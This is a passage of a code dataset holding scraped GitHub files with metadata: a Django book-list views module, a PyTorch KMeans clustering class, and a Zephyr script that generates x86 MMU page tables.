"usage_type": "call"}, {"api_name": "dash.dependencies.Output", "line_number": 402, "usage_type": "call"}, {"api_name": "dash.dependencies.Input", "line_number": 403, "usage_type": "call"}]} {"seq_id": "14582677414", "text": "from django.shortcuts import render\r\nfrom .models import *\r\nfrom django.http import JsonResponse,HttpResponse\r\nimport json\r\nimport time, datetime\r\n\r\ndef get(request):\r\n queryset=Book.objects.all()\r\n book_list=[]\r\n for book in queryset:\r\n timeArray = time.localtime(book.times)\r\n otherStyleTime = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\r\n title = str(book.title)\r\n book_list.append({\r\n 'id':book.id,\r\n 'title':title,\r\n 'times':otherStyleTime,\r\n 'author':book.author,\r\n 'brief':book.brief,\r\n\r\n })\r\n return HttpResponse(book_list)\r\n\r\ndef delete(request,pk):\r\n try:\r\n book=Book.objects.get(id=pk)\r\n except Book.DoesNotExist:\r\n return HttpResponse(status=404)\r\n\r\n book.delete()\r\n return HttpResponse(\"删除成功\")\r\n\r\ndef products(request,pk):\r\n try:\r\n book = Book.objects.get(id=pk)\r\n except Exception:\r\n return HttpResponse('此id不存在')\r\n books = []\r\n timeArray = time.localtime(book.times)\r\n otherStyleTime = time.strftime(\"%Y-%m-%d %H:%M:%S\", timeArray)\r\n\r\n books.append({\r\n 'id':book.id,\r\n 'title':book.title,\r\n 'times':otherStyleTime,\r\n 'author':book.author,\r\n 'brief':book.brief,})\r\n\r\n\r\n return HttpResponse(books)", "repo_name": "2569792062/work_book", "sub_path": "shuji/views.py", "file_name": "views.py", "file_ext": "py", "file_size_in_byte": 1306, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "time.localtime", "line_number": 11, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 12, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 22, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 28, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 31, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 37, "usage_type": "call"}, {"api_name": "time.localtime", "line_number": 39, "usage_type": "call"}, {"api_name": "time.strftime", "line_number": 40, "usage_type": "call"}, {"api_name": "django.http.HttpResponse", "line_number": 50, "usage_type": "call"}]} {"seq_id": "43048596445", "text": "import warnings\n\nimport math\nimport torch\nfrom time import time\nimport numpy as np\nimport pynvml\nfrom .init_methods import init_methods\n\n\nclass KMeans:\n '''\n Kmeans clustering algorithm implemented with PyTorch\n\n Parameters:\n n_clusters: int,\n Number of clusters\n\n max_iter: int, default: 100\n Maximum number of iterations\n\n tol: float, default: 0.0001\n Tolerance\n\n verbose: int, default: 0\n Verbosity\n\n mode: {'euclidean', 'cosine'}, default: 'euclidean'\n Type of distance measure\n\n init_method: {'random', 'point', '++'}\n Type of initialization\n\n minibatch: {None, int}, default: None\n Batch size of MinibatchKmeans algorithm\n if None perform full KMeans algorithm\n\n Attributes:\n centroids: torch.Tensor, shape: [n_clusters, n_features]\n cluster centroids\n '''\n\n def __init__(self, n_clusters, max_iter=300, tol=0.0001, verbose=0, mode=\"euclidean\", init_method=\"kmeans++\",\n minibatch=None, n_init=None, algorithm=None, device=None):\n self.n_clusters = n_clusters\n self.max_iter = max_iter\n self.tol = tol\n self.verbose = verbose\n self.mode = mode\n self.init_method = init_method\n self.minibatch = minibatch\n self._loop = False\n self._show = False\n\n self.n_init = n_init\n\n if algorithm is not None:\n warnings.warn(\"The parameter algorithm is not valid in this implementation of KMeans. Default: 'lloyd'\")\n\n try:\n import pynvml\n self._pynvml_exist = True\n except ModuleNotFoundError:\n self._pynvml_exist = False\n\n self.device = device\n self.cluster_centers_ = None\n self.labels_ = None\n\n @staticmethod\n def cos_sim(a, b):\n \"\"\"\n Compute cosine similarity of 2 sets of vectors\n\n Parameters:\n a: torch.Tensor, shape: [m, n_features]\n\n b: torch.Tensor, shape: [n, n_features]\n \"\"\"\n a_norm = a.norm(dim=-1, keepdim=True)\n b_norm = b.norm(dim=-1, keepdim=True)\n a = a / (a_norm + 1e-8)\n b = b / (b_norm + 1e-8)\n return a @ b.transpose(-2, -1)\n\n @staticmethod\n def euc_sim(a, b):\n \"\"\"\n Compute euclidean similarity of 2 sets of vectors\n\n Parameters:\n a: torch.Tensor, shape: [m, n_features]\n\n b: torch.Tensor, shape: [n, n_features]\n \"\"\"\n return 2 * a @ b.transpose(-2, -1) - (a ** 2).sum(dim=1)[..., :, None] - (b ** 2).sum(dim=1)[..., None, :]\n\n def remaining_memory(self):\n \"\"\"\n Get remaining memory in gpu\n \"\"\"\n with torch.cuda.device(self.device):\n torch.cuda.synchronize()\n torch.cuda.empty_cache()\n if self._pynvml_exist:\n pynvml.nvmlInit()\n gpu_handle = pynvml.nvmlDeviceGetHandleByIndex(self.device.index)\n info = pynvml.nvmlDeviceGetMemoryInfo(gpu_handle)\n remaining = info.free\n else:\n remaining = torch.cuda.memory_allocated()\n return remaining\n\n def max_sim(self, a, b):\n \"\"\"\n Compute maximum similarity (or minimum distance) of each vector\n in a with all of the vectors in b\n\n Parameters:\n a: torch.Tensor, shape: [m, n_features]\n\n b: torch.Tensor, shape: [n, n_features]\n \"\"\"\n batch_size = a.shape[0]\n if self.mode == 'cosine':\n sim_func = self.cos_sim\n elif self.mode == 'euclidean':\n sim_func = self.euc_sim\n\n if self.device == 'cpu':\n sim = sim_func(a, b)\n max_sim_v, max_sim_i = sim.max(dim=-1)\n return max_sim_v, max_sim_i\n else:\n if a.dtype == torch.double:\n expected = a.shape[0] * a.shape[1] * b.shape[0] * 8\n if a.dtype == torch.float:\n expected = a.shape[0] * a.shape[1] * b.shape[0] * 4\n elif a.dtype == torch.half:\n expected = a.shape[0] * a.shape[1] * b.shape[0] * 2\n ratio = math.ceil(expected / self.remaining_memory())\n subbatch_size = math.ceil(batch_size / ratio)\n msv, msi = [], []\n for i in range(ratio):\n if i * subbatch_size >= batch_size:\n continue\n sub_x = a[i * subbatch_size: (i + 1) * subbatch_size]\n sub_sim = sim_func(sub_x, b)\n sub_max_sim_v, sub_max_sim_i = sub_sim.max(dim=-1)\n del sub_sim\n msv.append(sub_max_sim_v)\n msi.append(sub_max_sim_i)\n if ratio == 1:\n max_sim_v, max_sim_i = msv[0], msi[0]\n else:\n max_sim_v = torch.cat(msv, dim=0)\n max_sim_i = torch.cat(msi, dim=0)\n return max_sim_v, max_sim_i\n\n def fit_predict(self, X, sample_weight=None, centroids=None):\n \"\"\"\n Combination of fit() and predict() methods.\n This is faster than calling fit() and predict() seperately.\n\n Parameters:\n X: torch.Tensor, shape: [n_samples, n_features]\n\n centroids: {torch.Tensor, None}, default: None\n if given, centroids will be initialized with given tensor\n if None, centroids will be randomly chosen from X\n\n Return:\n labels: torch.Tensor, shape: [n_samples]\n \"\"\"\n assert isinstance(X, torch.Tensor), \"input must be torch.Tensor\"\n assert X.dtype in [torch.half, torch.float, torch.double], \"input must be floating point\"\n assert X.ndim == 2, \"input must be a 2d tensor with shape: [n_samples, n_features] \"\n\n batch_size, emb_dim = X.shape\n X = X.to(self.device)\n if sample_weight is None:\n sample_weight = torch.ones(batch_size, device=self.device, dtype=X.dtype)\n else:\n sample_weight = sample_weight.to(self.device)\n start_time = time()\n if centroids is None:\n cluster_centers_ = init_methods[self.init_method](X, self.n_clusters, self.minibatch)\n else:\n cluster_centers_ = centroids\n num_points_in_clusters = torch.ones(self.n_clusters, device=self.device, dtype=X.dtype)\n closest = None\n for i in range(self.max_iter):\n iter_time = time()\n if self.minibatch is not None:\n minibatch_idx = np.random.choice(batch_size, size=[self.minibatch], replace=False)\n x = X[minibatch_idx]\n sample_weight = sample_weight[minibatch_idx]\n else:\n x = X\n\n sim_score, closest = self.max_sim(a=x, b=cluster_centers_)\n matched_clusters, counts = closest.unique(return_counts=True)\n unmatched_clusters = torch.where(torch.ones(len(cluster_centers_), dtype=torch.bool, device=self.device).index_fill_(0, matched_clusters.long(), False) == True)[0]\n # reallocate unmatched clusters according to the machanism described\n # in https://github.com/scikit-learn/scikit-learn/blob/4af30870b0a09bf0a04d704bea4c5d861eae7c83/sklearn/cluster/_k_means_lloyd.pyx#L156\n while unmatched_clusters.shape[0] > 0:\n worst_x = x[sim_score.argmin(dim=0)]\n cluster_centers_[unmatched_clusters[0]] = worst_x\n sim_score, closest = self.max_sim(a=x, b=cluster_centers_)\n matched_clusters, counts = closest.unique(return_counts=True)\n unmatched_clusters = torch.where(\n torch.ones(len(cluster_centers_), dtype=torch.bool, device=self.device).index_fill_(0, matched_clusters.long(),\n False) == True)[0]\n\n c_grad = torch.zeros_like(cluster_centers_)\n expanded_closest = closest[None].expand(self.n_clusters, -1)\n mask = (expanded_closest == torch.arange(self.n_clusters, device=self.device)[:, None]).to(X.dtype) # [n_clusters, minibatch] one-hot sample masks for each cluster\n mask = mask * sample_weight[None, :]\n c_grad = mask @ x / mask.sum(-1)[..., :, None]\n c_grad[c_grad != c_grad] = 0 # remove NaNs\n\n error = (c_grad - cluster_centers_).pow(2).sum()\n if self.minibatch is not None:\n lr = 1 / num_points_in_clusters[:, None] * 0.9 + 0.1\n # lr = 1/num_points_in_clusters[:,None]**0.1\n else:\n lr = 1\n num_points_in_clusters[matched_clusters] += counts\n cluster_centers_ = cluster_centers_ * (1 - lr) + c_grad * lr\n if self.verbose >= 2:\n print('iter:', i, 'error:', error.item(), 'time spent:', round(time() - iter_time, 4))\n if error <= self.tol:\n break\n\n if self.verbose >= 1:\n print(\n f'used {i + 1} iterations ({round(time() - start_time, 4)}s) to cluster {batch_size} items into {self.n_clusters} clusters')\n\n inertia = (sim_score * sample_weight).sum().neg()\n return cluster_centers_, closest, inertia\n\n def predict(self, X):\n \"\"\"\n Predict the closest cluster each sample in X belongs to\n\n Parameters:\n X: torch.Tensor, shape: [n_samples, n_features]\n\n Return:\n labels: torch.Tensor, shape: [n_samples]\n \"\"\"\n assert isinstance(X, torch.Tensor), \"input must be torch.Tensor\"\n assert X.dtype in [torch.half, torch.float, torch.double], \"input must be floating point\"\n assert X.ndim == 2, \"input must be a 2d tensor with shape: [n_samples, n_features] \"\n\n return self.max_sim(a=X, b=self.cluster_centers_)[1]\n\n def fit(self, X, sample_weight=None, centroids=None):\n \"\"\"\n Perform kmeans clustering\n\n Parameters:\n X: torch.Tensor, shape: [n_samples, n_features]\n \"\"\"\n assert isinstance(X, torch.Tensor), \"input must be torch.Tensor\"\n assert X.dtype in [torch.half, torch.float, torch.double], \"input must be floating point\"\n assert X.ndim == 2, \"input must be a 2d tensor with shape: [n_samples, n_features] \"\n\n self.cluster_centers_, self.labels_, self.inertia_ = [], [], []\n for i in range(self.n_init):\n cluster_centers, labels, inertia = self.fit_predict(X, sample_weight, centroids)\n self.cluster_centers_.append(cluster_centers.detach().cpu().numpy())\n self.labels_.append(labels.detach().cpu().numpy())\n self.inertia_.append(inertia.detach().cpu().numpy())\n best_cluster_idx = np.argmin(self.inertia_)\n self.cluster_centers_, self.labels_, self.inertia_ = self.cluster_centers_[best_cluster_idx], self.labels_[best_cluster_idx], self.inertia_[best_cluster_idx]\n return self", "repo_name": "divelab/LECI", "sub_path": "GOOD/utils/fast_pytorch_kmeans/kmeans.py", "file_name": "kmeans.py", "file_ext": "py", "file_size_in_byte": 10902, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "71", "api": [{"api_name": "warnings.warn", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.cuda.device", "line_number": 102, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 102, "usage_type": "attribute"}, {"api_name": "torch.cuda.synchronize", "line_number": 103, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 103, "usage_type": "attribute"}, {"api_name": "torch.cuda.empty_cache", "line_number": 104, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 104, "usage_type": "attribute"}, {"api_name": "pynvml.nvmlInit", "line_number": 106, "usage_type": "call"}, {"api_name": "pynvml.nvmlDeviceGetHandleByIndex", "line_number": 107, "usage_type": "call"}, {"api_name": "pynvml.nvmlDeviceGetMemoryInfo", "line_number": 108, "usage_type": "call"}, {"api_name": "torch.cuda.memory_allocated", "line_number": 111, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 111, "usage_type": "attribute"}, {"api_name": "torch.double", "line_number": 135, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 137, "usage_type": "attribute"}, {"api_name": "torch.half", "line_number": 139, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 141, "usage_type": "call"}, {"api_name": "math.ceil", "line_number": 142, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 156, "usage_type": "call"}, {"api_name": "torch.cat", "line_number": 157, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 175, "usage_type": "attribute"}, {"api_name": "torch.half", "line_number": 176, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 176, "usage_type": "attribute"}, {"api_name": "torch.double", "line_number": 176, "usage_type": "attribute"}, {"api_name": "torch.ones", "line_number": 182, "usage_type": "call"}, {"api_name": "time.time", "line_number": 185, "usage_type": "call"}, {"api_name": "init_methods.init_methods", "line_number": 187, "usage_type": "name"}, {"api_name": "torch.ones", "line_number": 190, "usage_type": "call"}, {"api_name": "time.time", "line_number": 193, "usage_type": "call"}, {"api_name": "numpy.random.choice", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.random", "line_number": 195, "usage_type": "attribute"}, {"api_name": "torch.where", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 203, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 203, "usage_type": "attribute"}, {"api_name": "torch.where", "line_number": 211, "usage_type": "call"}, {"api_name": "torch.ones", "line_number": 212, "usage_type": "call"}, {"api_name": "torch.bool", "line_number": 212, "usage_type": "attribute"}, {"api_name": "torch.zeros_like", "line_number": 215, "usage_type": "call"}, {"api_name": "torch.arange", "line_number": 217, "usage_type": "call"}, {"api_name": "time.time", "line_number": 231, "usage_type": "call"}, {"api_name": "time.time", "line_number": 237, "usage_type": "call"}, {"api_name": "torch.Tensor", "line_number": 252, "usage_type": "attribute"}, {"api_name": "torch.half", "line_number": 253, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 253, "usage_type": "attribute"}, {"api_name": "torch.double", "line_number": 253, "usage_type": "attribute"}, {"api_name": "torch.Tensor", "line_number": 265, "usage_type": "attribute"}, {"api_name": "torch.half", "line_number": 266, "usage_type": "attribute"}, {"api_name": "torch.float", "line_number": 266, "usage_type": "attribute"}, {"api_name": "torch.double", "line_number": 266, "usage_type": "attribute"}, {"api_name": "numpy.argmin", "line_number": 275, "usage_type": "call"}]} {"seq_id": "12168819458", "text": "#!/usr/bin/env python3\n\nimport os\nimport sys\nimport struct\nimport parser\nfrom collections import namedtuple\nimport ctypes\nimport argparse\n\n############# global variables\npd_complete = ''\ninputfile = ''\noutputfile = ''\nlist_of_pde = {}\nnum_of_regions = 0\nread_buff=''\n\nstruct_mmu_regions_tuple = {\"start_addr\",\"size\",\"permissions\"}\nmmu_region_details = namedtuple(\"mmu_region_details\", \"pde_index page_entries_info\")\n\nvalid_pages_inside_pde = namedtuple(\"valid_pages_inside_pde\",\"start_addr size \\\n pte_valid_addr_start \\\n pte_valid_addr_end \\\n permissions\")\n\npage_tables_list = []\npd_start_addr = 0\nvalidation_issue_memory_overlap = [False, 0, -1]\noutput_offset = 0\nprint_string_pde_list = ''\npde_pte_string = {}\n\n#############\n\n#return the page directory number for the give address\ndef get_pde_number(value):\n return( (value >> 22 ) & 0x3FF)\n\n#return the page table number for the given address\ndef get_pte_number(value):\n return( (value >> 12 ) & 0x3FF)\n\n\n# update the tuple values for the memory regions needed\ndef set_pde_pte_values(pde_index, address, mem_size,\n pte_valid_addr_start, pte_valid_addr_end, perm):\n\n pages_tuple = valid_pages_inside_pde(\n start_addr = address,\n size = mem_size,\n pte_valid_addr_start = pte_valid_addr_start,\n pte_valid_addr_end = pte_valid_addr_end,\n permissions = perm)\n\n mem_region_values = mmu_region_details(pde_index = pde_index,\n page_entries_info = [])\n\n mem_region_values.page_entries_info.append(pages_tuple)\n\n if pde_index in list_of_pde.keys():\n # this step adds the new page info to the exsisting pages info\n list_of_pde[pde_index].page_entries_info.append(pages_tuple)\n else:\n list_of_pde[pde_index] = mem_region_values\n\n\n\n# read the binary from the input file and populate a dict for\n# start address of mem region\n# size of the region - so page tables entries will be created with this\n# read write permissions\ndef read_mmu_list_marshal_param():\n\n global read_buff\n global page_tables_list\n global pd_start_addr\n global validation_issue_memory_overlap\n read_buff = input_file.read()\n input_file.close()\n raw_info=[]\n\n # read contents of the binary file first 2 values read are\n # num_of_regions and page directory start address both calculated and\n # populated by the linker\n num_of_regions, pd_start_addr = struct.unpack_from(header_values_format,read_buff,0);\n\n # a offset used to remember next location to read in the binary\n size_read_from_binary = struct.calcsize(header_values_format);\n\n # for each of the regions mentioned in the binary loop and populate all the\n # required parameters\n for region in range(num_of_regions):\n basic_mem_region_values = struct.unpack_from(struct_mmu_regions_format,\n read_buff,\n size_read_from_binary);\n size_read_from_binary += struct.calcsize(struct_mmu_regions_format);\n\n #validate for memory overlap here\n for i in raw_info:\n start_location = basic_mem_region_values[0]\n end_location = basic_mem_region_values[0] + basic_mem_region_values[1]\n\n overlap_occurred = ( (start_location >= i[0]) and \\\n (start_location <= (i[0]+i[1]))) and \\\n ((end_location >= i[0]) and \\\n (end_location <= i[0]+i[1]))\n\n if overlap_occurred:\n validation_issue_memory_overlap = [True,\n start_location,\n get_pde_number(start_location)]\n return\n\n # add the retrived info another list\n raw_info.append(basic_mem_region_values)\n\n for region in raw_info:\n pde_index = get_pde_number(region[0])\n pte_valid_addr_start = get_pte_number(region[0])\n\n # Get the end of the page table entries\n # Since a memory region can take up only a few entries in the Page\n # table, this helps us get the last valid PTE.\n pte_valid_addr_end = get_pte_number(region[0] +\n region[1])\n\n mem_size = region[1]\n\n # In-case the start address aligns with a page table entry other than zero\n # and the mem_size is greater than (1024*4096)\n # in case where it overflows the currenty PDE's range then limit the\n # PTE to 1024 and so make the mem_size reflect the actual size taken up\n # in the current PDE\n if (region[1] + (pte_valid_addr_start * 4096) ) > (1024*4096):\n pte_valid_addr_end = 1024\n mem_size = ( (pte_valid_addr_end - pte_valid_addr_start)*4096)\n\n set_pde_pte_values(pde_index, region[0], mem_size,\n pte_valid_addr_start, pte_valid_addr_end, region[2])\n\n\n if pde_index not in page_tables_list:\n page_tables_list.append(pde_index)\n\n # IF the current pde couldn't fit the entire requested region size then\n # there is a need to create new PDEs to match the size.\n # Here the overflow_size represents the size that couldn't be fit inside\n # the current PDE, this is will now to used to create a new PDE/PDEs\n # so the size remaining will be\n # requested size - allocated size(in the current PDE)\n\n overflow_size = region[1] - \\\n ((pte_valid_addr_end -\n pte_valid_addr_start) * 4096)\n\n # create all the extra PDEs needed to fit the requested size\n # this loop starts from the current pde till the last pde that is needed\n # the last pde is calcualted as the (start_addr + size) >> 22\n for extra_pde in range(pde_index+1, get_pde_number(\n region[0] + region[1])+1):\n\n # new pde's start address\n # each page directory entry has a addr range of (1024 *4096)\n # thus the new PDE start address is a multiple of that number\n extra_pde_start_address = extra_pde*(4096*1024)\n\n # the start address of and extra pde will always be 0\n # and the end address is calculated with the new pde's start address\n # and the overflow_size\n extra_pte_valid_addr_end = get_pte_number(extra_pde_start_address\n + overflow_size)\n\n # if the overflow_size couldn't be fit inside this new pde then\n # need another pde and so we now need to limit the end of the PTE\n # to 1024 and set the size of this new region to the max possible\n extra_region_size = overflow_size\n if overflow_size > (1024*4096):\n extra_region_size = 1024*4096\n extra_pte_valid_addr_end = 1024\n\n # load the new PDE's details\n\n set_pde_pte_values(extra_pde, extra_pde_start_address,\n extra_region_size,\n 0, extra_pte_valid_addr_end, region[2] )\n\n\n # for the next iteration of the loop the size needs to decreased\n overflow_size -= (extra_pte_valid_addr_end) * 4096\n\n if extra_pde not in page_tables_list:\n page_tables_list.append(extra_pde)\n page_tables_list.sort()\n\n\ndef validate_pde_regions():\n #validation for correct page alignment of the regions\n for key, value in list_of_pde.items():\n for pages_inside_pde in value.page_entries_info:\n if pages_inside_pde.start_addr & (0xFFF) != 0:\n print(\"Memory Regions are not page aligned\",\n hex(pages_inside_pde.start_addr))\n sys.exit(2)\n\n #validation for correct page alignment of the regions\n if pages_inside_pde.size & (0xFFF) != 0:\n print(\"Memory Regions size is not page aligned\",\n hex(pages_inside_pde.size))\n sys.exit(2)\n\n #validation for spiling of the regions across various\n if validation_issue_memory_overlap[0] == True:\n print(\"Memory Regions are overlapping at memory address \" +\n str(hex(validation_issue_memory_overlap[1]))+\n \" with Page directory Entry number \" +\n str(validation_issue_memory_overlap[2]))\n sys.exit(2)\n\n\n\n\n\n# the return value will have the page address and it is assumed to be a 4096 boundary\n# hence the output of this API will be a 20bit address of the page table\ndef address_of_page_table(page_table_number):\n global pd_start_addr\n\n # location from where the Page tables will be written\n PT_start_addr = pd_start_addr + 4096\n return ( (PT_start_addr + (page_tables_list.index(page_table_number)*4096) >>12))\n\n# union x86_mmu_pde_pt {\n# \tu32_t value;\n# \tstruct {\n# \t\tu32_t p:1;\n# \t\tu32_t rw:1;\n# \t\tu32_t us:1;\n# \t\tu32_t pwt:1;\n# \t\tu32_t pcd:1;\n# \t\tu32_t a:1;\n# \t\tu32_t ignored1:1;\n# \t\tu32_t ps:1;\n# \t\tu32_t ignored2:4;\n# \t\tu32_t page_table:20;\n# \t};\n# };\n\ndef page_directory_create_binary_file():\n global output_buffer\n global output_offset\n for pde in range(1024):\n binary_value = 0 # the page directory entry is not valid\n\n # if i have a valid entry to populate\n if pde in sorted(list_of_pde.keys()):\n value = list_of_pde[pde]\n\n present = 1 << 0;\n read_write = ( ( value.page_entries_info[0].permissions >> 1) & 0x1) << 1;\n user_mode = ( ( value.page_entries_info[0].permissions >> 2) & 0x1) << 2;\n pwt = 0 << 3;\n pcd = 0 << 4;\n a = 0 << 5; # this is a read only field\n ps = 0 << 7; # this is a read only field\n page_table = address_of_page_table(value.pde_index) << 12;\n binary_value = (present | read_write | user_mode | pwt | pcd | a | ps | page_table)\n pde_verbose_output(pde, binary_value)\n\n struct.pack_into(write_4byte_bin,output_buffer, output_offset, binary_value)\n output_offset += struct.calcsize(write_4byte_bin)\n\n\n# union x86_mmu_pte {\n# \tu32_t value;\n# \tstruct {\n# \t\tu32_t p:1;\n# \t\tu32_t rw:1;\n# \t\tu32_t us:1;\n# \t\tu32_t pwt:1;\n# \t\tu32_t pcd:1;\n# \t\tu32_t a:1;\n# \t\tu32_t d:1;\n# \t\tu32_t pat:1;\n# \t\tu32_t g:1;\n# \t\tu32_t alloc:1;\n# \t\tu32_t custom:2;\n# \t\tu32_t page:20;\n# \t};\n# };\n\ndef page_table_create_binary_file():\n global output_buffer\n global output_offset\n\n for key, value in sorted(list_of_pde.items()):\n for pte in range(1024):\n binary_value = 0 # the page directory entry is not valid\n\n valid_pte = 0\n for i in value.page_entries_info:\n temp_value = ((pte >= i.pte_valid_addr_start) and (pte <= i.pte_valid_addr_end))\n if temp_value:\n perm_for_pte = i.permissions\n valid_pte |= temp_value\n\n # if i have a valid entry to populate\n if valid_pte:\n present = 1 << 0;\n read_write = ( ( perm_for_pte >> 1) & 0x1) << 1;\n user_mode = ( ( perm_for_pte >> 2) & 0x1) << 2;\n pwt = 0 << 3;\n pcd = 0 << 4;\n a = 0 << 5; # this is a read only field\n d = 0 << 6; # this is a read only field\n pat = 0 << 7\n g = 0<< 8\n alloc = 1 << 9\n custom = 0 <<10\n\n # This points to the actual memory in the HW\n # totally 20 bits to rep the phy address\n # first 10 is the number got from pde and next 10 is pte\n page_table = ((value.pde_index <<10) |pte) << 12;\n\n binary_value = (present | read_write | user_mode |\n pwt | pcd | a | d | pat | g | alloc | custom |\n page_table)\n\n pte_verbose_output(key,pte,binary_value)\n\n struct.pack_into(write_4byte_bin, output_buffer, output_offset, binary_value)\n output_offset += struct.calcsize(write_4byte_bin)\n\n\n# Read the parameters passed to the file\ndef parse_args():\n global args\n\n parser = argparse.ArgumentParser(description = __doc__,\n formatter_class = argparse.RawDescriptionHelpFormatter)\n\n parser.add_argument(\"-e\", \"--big-endian\", action=\"store_true\",\n help=\"Target encodes data in big-endian format\"\n \"(little endian is the default)\")\n\n parser.add_argument(\"-i\", \"--input\",\n help=\"Input file from which MMU regions are read.\")\n parser.add_argument(\"-o\", \"--output\",\n help=\"Output file into which the page tables are written.\")\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\",\n help=\"Lists all the relavent data generated.\")\n args = parser.parse_args()\n\n# the format for writing in the binary file would be decided by the\n# endian selected\ndef set_struct_endian_format():\n endian_string = \"<\"\n if args.big_endian == True:\n endian_string = \">\"\n global struct_mmu_regions_format\n global header_values_format\n global write_4byte_bin\n\n struct_mmu_regions_format = endian_string + \"III\"\n header_values_format = endian_string + \"II\"\n write_4byte_bin = endian_string + \"I\"\n\n\ndef format_string(input_str):\n output_str = '{0: <5}'.format(str(input_str))\n return(output_str)\n\ndef pde_verbose_output(pde, binary_value):\n if args.verbose == False:\n return\n\n global print_string_pde_list\n\n present = format_string(binary_value & 0x1 )\n read_write = format_string((binary_value >> 1 ) & 0x1 )\n user_mode = format_string((binary_value >> 2 ) & 0x1 )\n pwt = format_string((binary_value >> 3 ) & 0x1 )\n pcd = format_string((binary_value >> 4 ) & 0x1 )\n a = format_string((binary_value >> 5 ) & 0x1 )\n ignored1 = format_string(0)\n ps = format_string((binary_value >> 7 ) & 0x1 )\n ignored2 = format_string(0000)\n page_table_addr = format_string(hex((binary_value >> 12 ) & 0xFFFFF) )\n\n print_string_pde_list += ( format_string(str(pde))+\" | \"+(present)+ \" | \"+\\\n (read_write)+ \" | \"+\\\n (user_mode)+ \" | \"+\\\n (pwt)+ \" | \"+\\\n (pcd)+ \" | \"+\\\n (a)+ \" | \"+\\\n (ps)+ \" | \"+\n page_table_addr +\"\\n\"\n )\n\ndef pde_print_elements():\n global print_string_pde_list\n print(\"PAGE DIRECTORY \")\n print(format_string(\"PDE\")+\" | \"+ \\\n format_string('P') +\" | \"+ \\\n format_string('rw') +\" | \"+ \\\n format_string('us') +\" | \"+ \\\n format_string('pwt') +\" | \"+ \\\n format_string('pcd') +\" | \"+ \\\n format_string('a') +\" | \"+ \\\n format_string('ps') +\" | \"+ \\\n format_string('Addr page table'))\n print(print_string_pde_list)\n print(\"END OF PAGE DIRECTORY\")\n\n\ndef pte_verbose_output(pde, pte, binary_value):\n global pde_pte_string\n\n present = format_string( str((binary_value >> 0) & 0x1))\n read_write = format_string( str((binary_value >> 1) & 0x1))\n user_mode = format_string( str((binary_value >> 2) & 0x1))\n pwt = format_string( str((binary_value >> 3) & 0x1))\n pcd = format_string( str((binary_value >> 4) & 0x1))\n a = format_string( str((binary_value >> 5) & 0x1))\n d = format_string( str((binary_value >> 6) & 0x1))\n pat = format_string( str((binary_value >> 7) & 0x1))\n g = format_string( str((binary_value >> 8) & 0x1))\n alloc = format_string( str((binary_value >> 9) & 0x1))\n custom = format_string( str((binary_value >> 10) & 0x3))\n page_table_addr = format_string( str(hex((binary_value >> 12) & 0xFFFFF)))\n\n print_string_list = ( format_string(str(pte))+\" | \"+(present)+ \" | \"+\\\n (read_write)+ \" | \"+\\\n (user_mode)+ \" | \"+\\\n (pwt)+ \" | \"+\\\n (pcd)+ \" | \"+\\\n (a)+ \" | \"+\\\n (d)+ \" | \"+\\\n (pat)+ \" | \"+\\\n (g)+ \" | \"+\\\n (alloc)+ \" | \"+\\\n (custom)+ \" | \"+\\\n page_table_addr +\"\\n\"\n )\n\n if pde in pde_pte_string.keys():\n pde_pte_string[pde] += (print_string_list)\n else:\n pde_pte_string[pde] = print_string_list\n\n\ndef pte_print_elements():\n global pde_pte_string\n\n for pde,print_string in sorted(pde_pte_string.items()):\n print(\"\\nPAGE TABLE \"+str(pde))\n\n print(format_string(\"PTE\")+\" | \"+ \\\n format_string('P') +\" | \"+ \\\n format_string('rw') +\" | \"+ \\\n format_string('us') +\" | \"+ \\\n format_string('pwt') +\" | \"+ \\\n format_string('pcd') +\" | \"+ \\\n format_string('a') +\" | \"+ \\\n format_string('d') +\" | \"+ \\\n format_string('pat') +\" | \"+ \\\n format_string('g') +\" | \"+ \\\n format_string('alloc') +\" | \"+ \\\n format_string('custom') +\" | \"+ \\\n format_string('page addr'))\n print(print_string)\n print(\"END OF PAGE TABLE \"+ str(pde))\n\ndef verbose_output():\n if args.verbose == False:\n return\n\n print(\"\\nTotal Page directory entries \" + str(len(list_of_pde.keys())))\n count =0\n for key, value in list_of_pde.items():\n for i in value.page_entries_info:\n count+=1\n print(\"Memory Region \"+str(count) +\" start address = \"+\n str(hex(i.start_addr)))\n\n pde_print_elements()\n pte_print_elements()\n\ndef main():\n global output_buffer\n parse_args()\n\n set_struct_endian_format()\n\n global input_file\n input_file = open(args.input, 'rb')\n\n global binary_output_file\n binary_output_file = open(args.output, 'wb')\n\n # inputfile= file_name\n read_mmu_list_marshal_param()\n\n #validate the inputs\n validate_pde_regions()\n\n # The size of the output buffer has to match the number of bytes we write\n # this corresponds to the number of page tables gets created.\n output_buffer = ctypes.create_string_buffer((4096)+\n (len(list_of_pde.keys()) *\n 4096))\n\n page_directory_create_binary_file()\n page_table_create_binary_file()\n\n #write the binary data into the file\n binary_output_file.write(output_buffer);\n binary_output_file.close()\n\n # verbose output needed by the build system\n verbose_output()\n\nif __name__ == \"__main__\":\n main()\n", "repo_name": "fractalclone/zephyr-riscv", "sub_path": "scripts/gen_mmu.py", "file_name": "gen_mmu.py", "file_ext": "py", "file_size_in_byte": 18562, 